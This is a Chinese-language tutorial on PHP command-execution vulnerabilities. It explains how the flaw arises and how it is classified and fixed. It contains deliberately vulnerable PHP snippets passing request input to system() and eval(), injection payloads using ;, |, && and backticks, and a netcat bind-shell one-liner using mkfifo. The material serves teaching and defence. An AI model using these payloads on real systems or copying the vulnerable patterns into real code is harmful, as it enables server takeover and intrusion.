命令执行
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、 passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令 拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
利用条件
1.应用调用执行系统命令的函数 2.将用户输入作为系统命令的参数拼接到了命令行中 3.没有对用户输入进行过滤或过滤不严
漏洞分类
1 代码层过滤不严 2 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用: 3 system("/bin/program --arg $arg"); 4 系统的漏洞造成命令注入 5 bash破壳漏洞(CVE-2014-6271) 6 调用的第三方组件存在代码执行漏洞 7 如WordPress中用来处理图片的ImageMagick组件 8 JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等) 9 ThinkPHP命令执行
漏洞危害
1 继承Web服务程序的权限去执行系统命令或读写文件 2 反弹shell 3 控制整个网站甚至控制服务器 4 进一步内网渗透
漏洞可能代码(以system为例)
1. system("$arg"); //直接输入即可 2. system("/bin/prog $arg"); //直接输入;ls 3. system("/bin/prog -p $arg"); //和2一样 4. system("/bin/prog --p=\"$arg\""); //可以输入";ls;" 5. system("/bin/prog --p=‘$arg‘"); //可以输入‘;ls;‘
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
在Windows上,不能用;可以用&、&&、|、||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
漏洞示例
示例一
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("$arg"); } ?>
示例二
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ping -c 3 $arg"); } ?>
示例三
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ls -al "$arg""); }
注:若引号被转义,则可以用<b>\`id\`</b>来执行
示例四
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ls -al ‘$arg‘"); } ?>
漏洞利用
- 代码执行:
在cmd.php中的代码如下:
<?php eval($_REQUEST[‘code‘]); ?>
提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo()
- 动态函数调用
在cmd.php中的代码如下:
<?php $fun = $_GET[‘fun‘]; $par = $_GET[‘par‘]; $fun($par); ?>
提交http://localhost/cmd.php?fun=system&par=net user,
最终执行的是system("net user")
利用执行漏洞,反弹一个shell
提交参数: ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
然后连接: nc remote.ip 4444
漏洞修复
- 尽量少用执行命令的函数或者直接禁用
- 参数值尽量使用引号包括
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
<?php $arg = $_GET[‘cmd‘]; // $arg = addslashes($arg); $arg = escapeshellcmd($arg); //拼接前就处理 if ($arg) { system("ls -al ‘$arg‘"); } ?>